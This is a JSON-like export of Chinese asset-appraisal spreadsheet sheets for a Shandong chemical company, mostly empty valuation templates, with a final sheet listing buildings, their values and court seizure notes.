[{"$nulls":5},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":5},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":5},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":5},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":5},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":5},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":5},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":5},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":5},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":5},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":5},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":12},"","",""]
["合            计",{"$nulls":5},0,null,null,0,null,null,0,0,""]
["减：存货跌价准备",{"$nulls":11},0,0,""]
["合            计",{"$nulls":5},0,null,null,0,null,null,0,0,""]
["产权持有人填表人：",{"$nulls":8},"评估人员："]
["填表日期：年月日"]

{"sheet":"3-9-8在用周转材料","index":30,"n_rows":32,"n_cols":16,"rows_kept":32,"hidden":true,"merged":[[1,0,1,15],[2,0,2,15],[5,0,6,0],[5,1,6,1],[5,2,6,2],[5,3,6,3],[5,4,6,4],[5,5,5,6],[5,7,5,8],[5,9,6,9],[5,10,5,12],[5,13,6,13],[5,14,6,14],[5,15,6,15],[27,0,27,1],[28,0,28,1],[29,0,29,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["存货—在用周转材料评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":15},"表3-9-8"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":14},"金额单位：人民币元"]
["序号","名称及规格型号","启用日期","原始入账价值","计量单位","审计前账面值",null,"账面价值（摊余价值）",null,"实际数量","评估价值",null,null,"增减值","增值率%","备注"]
[{"$nulls":5},"数量","金额","数量","金额",null,"评估原价","成新率%","金额"]
[{"$nulls":13},"",""]
[{"$nulls":13},"",""]
[{"$nulls":13},"",""]
[{"$nulls":13},"",""]
[{"$nulls":13},"",""]
[{"$nulls":13},"",""]
[{"$nulls":13},"",""]
[{"$nulls":13},"",""]
[{"$nulls":13},"",""]
[{"$nulls":13},"",""]
[{"$nulls":13},"",""]
[{"$nulls":13},"",""]
[{"$nulls":13},"",""]
[{"$nulls":13},"",""]
[{"$nulls":13},"",""]
[{"$nulls":13},"",""]
[{"$nulls":13},"",""]
[{"$nulls":13},"",""]
[{"$nulls":13},"",""]
[{"$nulls":13},"",""]
["合            计",{"$nulls":5},0,null,0,{"$nulls":3},0,0,""]
["减：存货跌价准备",{"$nulls":11},0,0,""]
["合            计",{"$nulls":5},0,null,0,{"$nulls":3},0,0,""]
["产权持有人填表人：",{"$nulls":7},"评估人员："]
["填表日期：年月日"]

{"sheet":"3-10一年到期非流动资产","index":31,"n_rows":30,"n_cols":10,"rows_kept":30,"hidden":true,"merged":[[1,0,1,9],[2,0,2,9],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["一年内到期的非流动资产评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":9},"表3-10"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":8},"金额单位：人民币元"]
["序号","项目及内容","发生日期","结算内容","审计前账面值","账面价值","评估价值","增减值","增值率%","备注"]
[{"$nulls":7},"",""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
["合            计",{"$nulls":3},0,0,0,0,""]
["产权持有人填表人：",{"$nulls":4},"评估人员："]
["填表日期：年月日"]

{"sheet":"3-11其他流动资产","index":32,"n_rows":30,"n_cols":11,"rows_kept":30,"hidden":true,"merged":[[1,0,1,10],[2,0,2,10],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["其他流动资产评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":10},"表3-11"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":9},"金额单位：人民币元"]
["序号","项目及内容","发生日期","结算内容","成本","审计前账面值","账面价值","评估价值","增减值","增值率%","备注"]
[{"$nulls":8},"",""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
["合            计",{"$nulls":4},0,0,0,0,""]
["产权持有人填表人：",{"$nulls":5},"评估人员："]
["填表日期：年月日"]

{"sheet":"4-非流动资产汇总","index":33,"n_rows":29,"n_cols":7,"rows_kept":29,"hidden":true,"merged":[[1,0,1,6],[2,0,2,6],[26,0,26,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["非流动资产评估汇总表"]
["评估基准日：2023年7月29日"]
[{"$nulls":6},"表4"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":5},"金额单位：人民币元"]
["编号","科目名称","审计前账面值","账面价值","评估价值","增减值","增值率%"]
["4-1","可供出售金融资产",0,0,0,0,""]
["4-2","持有至到期投资",0,0,0,0,""]
["4-3","长期应收款",0,0,0,0,""]
["4-4","长期股权投资",0,0,0,0,""]
["4-5","投资性房地产",0,0,0,0,""]
["4-6","固定资产",{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"}]
["4-7","在建工程",0,0,0,0,""]
["4-8","工程物资",0,0,0,0,""]
["4-9","固定资产清理",0,0,0,0,""]
["4-10","生产性生物资产",0,0,0,0,""]
["4-11","油气资产",0,0,0,0,""]
["4-12","无形资产",{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"}]
["4-13","开发支出",0,0,0,0,""]
["4-14","商誉",0,0,0,0,""]
["4-15","长期待摊费用",0,0,0,0,""]
["4-16","递延所得税资产",0,0,0,0,""]
["4-17","其他非流动资产",0,0,0,0,""]
[]
[]
[]
["合            计",null,{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"}]
["产权持有人填表人：",{"$nulls":3},"评估人员："]
["填表日期：年月日"]

{"sheet":"4-1可供出售金融资产汇总","index":34,"n_rows":30,"n_cols":7,"rows_kept":30,"hidden":true,"merged":[[1,0,1,6],[2,0,2,6]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["可供出售金融资产评估汇总表"]
["评估基准日：2023年7月29日"]
[{"$nulls":6},"表4-1"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":5},"金额单位：人民币元"]
["编号","科目名称","审计前账面值","账面价值","评估价值","增减值","增值率%"]
["4-1-1","可供出售金融资产-股票投资",0,0,0,0,""]
["4-1-2","可供出售金融资产-债券投资",0,0,0,0,""]
["4-1-3","可供出售金融资产-其他投资",0,0,0,0,""]
{"$rows_empty":18}
[null,"合         计",0,0,0,0,""]
["产权持有人填表人：",{"$nulls":3},"评估人员："]
["填表日期：年月日"]

{"sheet":"4-1-1可出售-股票","index":35,"n_rows":30,"n_cols":13,"rows_kept":30,"hidden":true,"merged":[[1,0,1,12],[2,0,2,12],[25,0,25,1],[26,0,26,1],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["可供出售金融资产—股票投资评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":12},"表4-1-1"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":11},"金额单位：人民币元"]
["序号","被投资单位名称","股票性质","投资日期","持股数量","基准日市价","取得成本","审计前账面值","账面价值","评估价值","增减值","增值率%","备注"]
[{"$nulls":10},"",""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
["合         计",{"$nulls":5},0,0,0,0,null,""]
["减：减值准备",{"$nulls":10},""]
["合            计",{"$nulls":5},0,0,0,0,0,""]
["产权持有人填表人：",{"$nulls":7},"评估人员："]
["填表日期：年月日"]

{"sheet":"4-1-2可出售-债券","index":36,"n_rows":30,"n_cols":13,"rows_kept":30,"hidden":true,"merged":[[1,0,1,12],[2,0,2,12],[25,0,25,1],[26,0,26,1],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["可供出售金融资产—债券投资评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":12},"表4-1-2"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":11},"金额单位：人民币元"]
["序号","被投资单位名称","债券种类","发行日期","到期日","票面利率%","审计前账面值","成本（面值）","账面价值","评估价值","增减值","增值率%","备注"]
[{"$nulls":10},"",""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
["合          计",{"$nulls":5},0,0,0,0,null,""]
["减：减值准备",{"$nulls":10},""]
["合            计",{"$nulls":5},0,0,0,0,0,""]
["产权持有人填表人：",{"$nulls":7},"评估人员："]
["填表日期：年月日"]

{"sheet":"4-1-3可出售-其他","index":37,"n_rows":30,"n_cols":13,"rows_kept":30,"hidden":true,"merged":[[1,0,1,12],[2,0,2,12],[25,0,25,1],[26,0,26,1],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["可供出售金融资产—其他投资评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":12},"表4-1-3"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":11},"金额单位：人民币元"]
["序号","被投资单位名称","金融资产名称","投资日期","持有数量","基准日市价","审计前账面值","成本","账面价值","评估价值","增减值","增值率%","备注"]
[{"$nulls":10},"",""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
["合         计",{"$nulls":5},0,0,0,0,null,""]
["减：减值准备",{"$nulls":10},""]
["合            计",{"$nulls":5},0,0,0,0,0,""]
["产权持有人填表人：",{"$nulls":7},"评估人员："]
["填表日期：年月日"]

{"sheet":"4-2持有到期投资","index":38,"n_rows":30,"n_cols":12,"rows_kept":30,"hidden":true,"merged":[[1,0,1,11],[2,0,2,11],[25,0,25,1],[26,0,26,1],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["持有至到期投资评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":11},"表4-3"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":10},"金额单位：人民币元"]
["序号","被投资单位名称","投资类别","投资日期","到期日","票面利率%","审计前账面值","投资成本","账面价值","评估价值","增值率%","备注"]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
["合            计",{"$nulls":5},0,0,0,0,""]
["减：持有至到期投资减值准备",{"$nulls":8},0,""]
["合     计",{"$nulls":5},0,0,0,0,""]
["产权持有人填表人：",{"$nulls":7},"评估人员："]
["填表日期：年月日"]

{"sheet":"4-3长期应收","index":39,"n_rows":34,"n_cols":10,"rows_kept":34,"hidden":true,"merged":[[1,0,1,9],[2,0,2,9],[24,0,24,1],[25,0,25,1],[26,0,26,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回 "]
["长期应收款评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":9},"表4-3"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":8},"金额单位：人民币元"]
["序号","欠款单位名称（结算对象)","业务内容","发生日期","审计前账面值","账面价值","评估价值","增减值","增值率%","备注"]
[{"$nulls":7},"",""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
["合            计",{"$nulls":3},0,0,0,0,""]
["减：长期应收款坏账准备",{"$nulls":5},0,null,""]
["净            额",{"$nulls":3},0,0,0,0,""]
["产权持有人填表人：",{"$nulls":4},"评估人员："]
["填表日期：年月日"]
[null,"注1：","注明账齡在一年以上的账款的可收回性，若有部分可能不能收回，请估计不能收回的金額，以供评估时作參考。"]
[null,"注2：“备注”栏填写方法：","1）欠款单位为关联方、总公司内部或本公司内部单位的，应在备注栏注明“关联方”、“总公司内部”、“内部单位”；"]
[null,null,"2） 涉诉款项应在备注中标明“涉诉”；"]
[null,null,"3）评估基准日后已部分或全部收回款项的，应注明日期及金额，如“2003年2月4日收回8,530.00元”；"]
[null,null,"4）填表单位认为其他应说明的事项"]

{"sheet":"4-4股权投资","index":40,"n_rows":30,"n_cols":12,"rows_kept":30,"hidden":true,"merged":[[1,0,1,11],[2,0,2,11],[25,0,25,1],[26,0,26,1],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["长期股权投资评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":11},"表4-4"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":10},"金额单位：人民币元"]
["序号","被投资单位名称","投资日期","协议投资期限","投资比例%","审计前账面值","投资成本","账面价值","评估价值","增减值","增值率%","备注"]
[{"$nulls":9},"",""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
["合            计",{"$nulls":4},0,null,0,0,null,""]
["减：长期股权投资减值准备",{"$nulls":7},0,null,""]
["合       计",{"$nulls":4},0,null,0,0,0,""]
["产权持有人填表人：",{"$nulls":6},"评估人员："]
["填表日期：年月日"]

{"sheet":"4-5投资性房地产汇总","index":41,"n_rows":30,"n_cols":13,"rows_kept":30,"hidden":true,"merged":[[1,0,1,12],[2,0,2,12],[5,0,6,0],[5,1,6,1],[5,2,5,3],[5,4,5,5],[5,6,5,8],[5,9,5,10],[5,11,5,12],[25,0,25,1],[26,0,26,1],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["投资性房地产评估汇总表"]
["评估基准日：2023年7月29日"]
[{"$nulls":12},"表4-5"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":11},"金额单位：人民币元"]
["编号","科目名称","审计前账面值",null,"账面价值",null,"评估价值",null,null,"增值额",null,"增值率"]
[null,null,"原值","净值","原值","净值","原值","成新率%","净值","原值","净值","原值","净值"]
["4-5-1","投资性房地产",0,0,0,0,0,null,0,0,0,"",""]
["4-5-2","投资性房地产",null,0,null,0,null,null,0,null,0,"",""]
["4-5-3","投资性房地产",null,0,null,0,null,null,0,null,0,"",""]
["4-5-4","投资性房地产",null,0,null,0,null,null,0,null,0,"",""]
[{"$nulls":11},"",""]
{"$rows_empty":13}
["合            计",null,0,0,0,0,0,null,0,0,0,"",""]
["减：投资性房地产减值准备"]
["合            计",null,0,0,0,0,0,null,0,0,0,"",""]
["产权持有人填表人：",{"$nulls":5},"评估人员：  "]
["填表日期：年月日"]

{"sheet":"4-5-1投资性房地产-房屋成本模式","index":42,"n_rows":29,"n_cols":33,"rows_kept":29,"hidden":true,"merged":[[1,0,1,31],[2,0,2,31],[3,0,3,31],[4,29,4,30],[5,0,5,18],[5,29,5,30],[6,0,7,0],[6,1,7,1],[6,2,7,2],[6,3,7,3],[6,4,7,4],[6,5,7,5],[6,6,7,6],[6,7,7,7],[6,8,7,8],[6,9,7,9],[6,10,7,10],[6,11,7,11],[6,12,7,12],[6,13,7,13],[6,14,7,14],[6,15,7,15],[6,16,7,16],[6,17,7,17],[6,18,7,18],[6,19,7,19],[6,20,7,20],[6,21,6,22],[6,23,6,24],[6,25,6,27],[6,28,7,28],[6,29,7,29],[6,30,7,30],[6,31,7,31],[6,32,7,32],[24,0,24,2],[25,0,25,2],[26,0,26,2],[27,0,27,6],[31,0,32,0],[31,1,32,1],[31,2,32,2],[31,4,32,4],[31,5,32,5],[31,6,32,6],[31,7,32,7],[31,8,32,8],[31,9,32,9],[31,10,32,10],[31,11,32,11],[31,12,32,12],[31,13,32,13],[31,14,32,14],[31,15,32,15],[31,16,32,16],[31,17,32,17],[31,18,32,18],[31,19,32,19],[31,20,32,20]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["投资性房地产——房屋评估明细表"]
["（采用成本模式计量）"]
["评估基准日：2023年7月29日"]
[{"$nulls":29},"表4-5"]
["产权持有人：山东世拓利丰化学科技股份有限公司","","","","","","","","","","","","","","","","","","",{"$nulls":10},"金额单位：人民币元"]
["序号","权证编号","建筑物名称","来源","位置","对应土地证号","结构","檐高(m)","层高(m)","总层数","层数","朝向","吊车吨位","跨度(m)","柱距(m)","使用单位","开工年月","建成\n年月","计量单位","建筑面积","成本单价(元/m2)","审计前账面值",null,"账面价值",null,"评估价值",null,null,"增值率%","评估单价(元/m2)","备注","现场勘察简单记录","证载权利人"]
[{"$nulls":21},"原值","净值","原值","净值","原值","成新率%","净值"]
[{"$nulls":28},"",""]
[{"$nulls":21},"",{"$nulls":7},""]
[]
[]
[]
[]
[]
[{"$nulls":21},"",{"$nulls":7},""]
[{"$nulls":21},"",{"$nulls":7},""]
[{"$nulls":21},"",{"$nulls":7},""]
[{"$nulls":21},"",{"$nulls":7},""]
[{"$nulls":21},"",{"$nulls":7},""]
[{"$nulls":21},"",{"$nulls":7},""]
[{"$nulls":21},"",{"$nulls":7},""]
[{"$nulls":21},"",{"$nulls":7},""]
[{"$nulls":29},""]
["合            计",{"$nulls":20},0,0,0,0,0,null,0,"",""]
["减：投资性房地产减值准备",{"$nulls":28},""]
["合      计",{"$nulls":20},0,0,0,0,0,null,0,"",""]
["被评估单位（或者产权持有单位）填表人：",{"$nulls":24},"评估人员："]
["填表日期：年月日"]

{"sheet":"4-5-2投资性房地产-房屋公允模式","index":43,"n_rows":29,"n_cols":30,"rows_kept":29,"hidden":true,"merged":[[1,0,1,27],[2,0,2,27],[3,0,3,27],[5,0,5,18],[6,0,7,0],[6,1,7,1],[6,2,7,2],[6,3,7,3],[6,4,7,4],[6,5,7,5],[6,6,7,6],[6,7,7,7],[6,8,7,8],[6,9,7,9],[6,10,7,10],[6,11,7,11],[6,12,7,12],[6,13,7,13],[6,14,7,14],[6,15,7,15],[6,16,7,16],[6,17,7,17],[6,18,7,18],[6,19,7,19],[6,20,7,20],[6,21,7,21],[6,22,7,22],[6,23,7,23],[6,24,7,24],[6,25,7,25],[6,26,7,26],[6,27,7,27],[6,28,7,28],[6,29,7,29],[26,0,26,2],[27,0,27,3]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["投资性房地产——房屋评估明细表"]
["（采用公允价值模式计量）"]
["评估基准日：2023年7月29日"]
[{"$nulls":27},"表4-5"]
["产权持有人：山东世拓利丰化学科技股份有限公司","","","","","","","","","","","","","","","","","","",{"$nulls":8},"金额单位：人民币元"]
["序号","权证编号","房屋名称","来源","位置","对应土地证号","结构","檐高(m)","层高(m)","总层数","层数","朝向","吊车吨位","跨度(m)","柱距(m)","使用单位","开工年月","建成\n年月","计量单位","建筑          面积","成本单价(元/m2)","原始入帐价值","审计前账面价值","账面价值","评估价值","增减值","增值率%","备注","现场勘察简单记录","证载权利人"]
[]
[{"$nulls":20},"",{"$nulls":4},"",""]
[{"$nulls":20},"",{"$nulls":5},""]
[{"$nulls":20},"",{"$nulls":5},""]
[{"$nulls":20},"",{"$nulls":5},""]
[{"$nulls":20},"",{"$nulls":5},""]
[{"$nulls":20},"",{"$nulls":5},""]
[{"$nulls":20},"",{"$nulls":5},""]
[{"$nulls":20},"",{"$nulls":5},""]
[]
[]
[]
[{"$nulls":20},"",{"$nulls":5},""]
[{"$nulls":20},"",{"$nulls":5},""]
[{"$nulls":20},"",{"$nulls":5},""]
[{"$nulls":20},"",{"$nulls":5},""]
[]
[{"$nulls":20},"",{"$nulls":5},""]
[{"$nulls":26},""]
["合            计",{"$nulls":19},"",null,0,0,0,0,""]
["产权持有人填表人：",{"$nulls":20},"评估人员："]
["填表日期：年月日"]

{"sheet":"4-5-3投资性房地产-土地成本模式","index":44,"n_rows":29,"n_cols":20,"rows_kept":29,"hidden":true,"merged":[[1,0,1,17],[2,0,2,17],[3,0,3,17],[4,16,4,17],[5,0,5,7],[24,0,24,2],[25,0,25,2],[26,0,26,2],[27,0,27,4]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["投资性房地产——土地使用权评估明细表"]
["（采用成本模式计量）"]
["评估基准日：2023年7月29日"]
[{"$nulls":16},"表4-5"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":7},"","","","","","","","","",""]
["序号","土地权证编号","宗地名称","来源","土地位置","取得日期","用地性质","土地用途","准用年限","开发程度","面积(m2)","原始入账价值","审计前账面价值","账面价值","评估价值","增减值","增值率%","备注","现场勘察简单记录","证载权利人"]
[{"$nulls":15},"",""]
{"$rows_empty":16}
["合            计",{"$nulls":8},"",null,0,0,0,0,0,"",""]
["减：投资性房地产减值准备",{"$nulls":16},""]
["合            计",{"$nulls":10},0,0,0,0,0,"",""]
["产权持有人填表人：",{"$nulls":10},"评估人员："]
["填表日期：年月日"]

{"sheet":"4-5-4投资性房地产-土地公允模式","index":45,"n_rows":29,"n_cols":20,"rows_kept":29,"hidden":true,"merged":[[1,0,1,17],[2,0,2,17],[3,0,3,17],[5,0,5,4],[26,0,26,4],[27,0,27,3]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["投资性房地产——土地使用权评估明细表"]
["（采用公允价值模式计量）"]
["评估基准日：2023年7月29日"]
[{"$nulls":17},"表4-5"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":16},"金额单位：人民币元"]
["序号","土地权证编号","宗地名称","来源","土地位置","取得日期","用地性质","土地用途","准用年限","开发程度","面积(m2)","原始入账价值（转入日公允价值）","审计前账面价值","账面价值","评估价值","增减值","增值率%","备注","现场勘察简单记录","证载权利人"]
[{"$nulls":15},"",""]
[{"$nulls":16},""]
[{"$nulls":16},""]
[{"$nulls":16},""]
[{"$nulls":16},""]
[{"$nulls":16},""]
[]
[]
[]
[]
[{"$nulls":16},""]
[]
[{"$nulls":16},""]
[{"$nulls":16},""]
[{"$nulls":16},""]
[{"$nulls":16},""]
[{"$nulls":16},""]
[{"$nulls":16},""]
[]
["合         计",{"$nulls":11},0,0,0,0,""]
["产权持有人填表人：",{"$nulls":10},"评估人员："]
["填表日期：年月日"]

{"sheet":"4-6-1房屋建筑物","index":46,"n_rows":30,"n_cols":40,"rows_kept":30,"merged":[[1,0,1,29],[2,0,2,30],[5,0,6,0],[5,1,6,1],[5,2,6,2],[5,3,6,3],[5,4,6,4],[5,5,6,5],[5,6,6,6],[5,7,6,7],[5,8,6,8],[5,9,6,9],[5,10,6,10],[5,11,6,11],[5,12,6,12],[5,13,6,13],[5,14,6,14],[5,15,6,15],[5,16,6,16],[5,17,6,17],[5,18,6,18],[5,19,6,19],[5,20,5,21],[5,22,5,23],[5,24,5,27],[5,28,6,28],[5,29,6,29],[5,30,6,30],[5,31,6,31],[5,32,6,32],[7,22,13,22],[7,23,13,23],[7,32,13,32],[14,20,16,20],[14,21,16,21],[14,22,16,22],[14,23,16,23],[25,0,25,2],[26,0,26,2],[27,0,27,2]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["固定资产—房屋建筑物评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":30},"表4-6-1"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":29},"金额单位：人民币元"]
["序号","权证编号","建筑物名称","位置","对应土地证号","结构","檐高(m)","层高(m)","总层数","所在层数","朝向","吊车吨位","跨度(m)","柱距(m)","使用单位","开工年月","建成\n年月","计量单位","建筑面积/体积（m2/m3)","成本单价(元/m2或元/m3)","审计前账面值",null,"账面价值",null,"评估价值",{"$nulls":3},"增值率%","评估单价(元/m2或元/m3)","是否抵押","现场勘察简单记录","证载权利人"]
[{"$nulls":20},"原值","净值","原值","净值","原值","快速变现率","净值","净值",{"$nulls":5},"查封情况","是否抵押",null,null,745,null,238080.39499999996]
[1,"莱房权证钢城区字第0168719号","钢城区钢城大街27号1幢",{"$nulls":15},456.53,{"$nulls":3},{"v":35378876.72,"d":"35,378,876.72"},{"v":20254406.922199998,"d":"20,254,406.92"},null,{"v":0.7,"d":"70%"},null,{"v":246709,"d":"246,709.00"},null,null,"是",null,"山东世拓利丰化学科技股份有限公司","查封单位:济南市钢城区人民法院查封，查封文号：(2019)鲁0117执572号之一","是",null,null,671,null,175273.252]
[2,"莱房权证钢城区字第0168718号","钢城区钢城大街27号2幢",{"$nulls":15},373.16,0,{"$nulls":5},{"v":0.7,"d":"70%"},null,{"v":181542,"d":"181,542.00"},"",null,"是",null,null,"被济南市钢城区人民法院查封，查封文号：(2019)鲁0117执572号","是",null,null,745,null,238080.39499999996]
[3,"莱房权证钢城区字第0168717号","钢城区钢城大街27号3幢",{"$nulls":15},456.53,0,{"$nulls":5},{"v":0.7,"d":"70%"},null,{"v":246709,"d":"246,709.00"},"",null,"是",null,null,"被济南市钢城区人民法院查封，查封文号：(2019)鲁0117执572号","是",null,null,736,null,430176.544]
[4,"莱房权证钢城区字第0168716号","钢城区钢城大街27号4幢",{"$nulls":15},834.97,0,{"$nulls":5},{"v":0.7,"d":"70%"},null,{"v":451218,"d":"451,218.00"},"",null,"是",null,null,"被济南市钢城区人民法院查封，查封文号：(2019)鲁0117执572号。","是",null,null,1378,null,5155217.885999999]
[5,"莱房权证钢城区字第0168715号","钢城区钢城大街27号5幢",{"$nulls":15},5344.41,0,{"$nulls":5},{"v":0.7,"d":"70%"},null,{"v":5136513,"d":"5,136,513.00"},"",null,"是",null,null,"被济南市钢城区人民法院查封，查封文号：(2019)鲁0117执572号","是",null,null,1268,null,4337310.6559999995]
[6,"莱房权证钢城区字第0168714号","钢城区钢城大街27号6幢",{"$nulls":15},4886.56,0,{"$nulls":5},{"v":0.7,"d":"70%"},null,{"v":4323628,"d":"4,323,628.00"},"",null,"是",null,null,"被济南市钢城区人民法院查封，查封文号：(2019)鲁0117执572号","是",null,null,1817,null,4552893.24]
[7,"莱房权证钢城区字第0178818号","钢城区钢城大街27号7幢",{"$nulls":15},3579.6,0,{"$nulls":5},{"v":0.7,"d":"70%"},null,{"v":4537859,"d":"4,537,859.00"},"",{"$nulls":4},"被济南市钢城区人民法院查封，查封文号：(2019)鲁0117执572号之一","否",null,null,562,null,10161.521999999999]
[8,"无证","传达室东1 25.83m2",{"$nulls":15},25.83,null,{"v":152485.61,"d":"152,485.61"},{"v":15080341.8,"d":"15,080,341.80"},{"v":152485.61,"d":"152,485.61"},{"v":87298.0099999999,"d":"87,298.01"},null,{"v":0.7,"d":"70%"},null,{"v":10288,"d":"10,288.00"},{"$nulls":9},562,null,10161.521999999999]
[9,"无证","传达室东2 25.83m2",{"$nulls":15},25.83,0,{"$nulls":5},{"v":0.7,"d":"70%"},null,{"v":10288,"d":"10,288.00"},{"$nulls":9},562,null,8827.896]
[10,"无证","传达室西1 22.44m2",{"$nulls":15},22.44,0,{"$nulls":5},{"v":0.7,"d":"70%"},null,{"v":8938,"d":"8,938.00"},{"$nulls":9},392,null,28647.36]
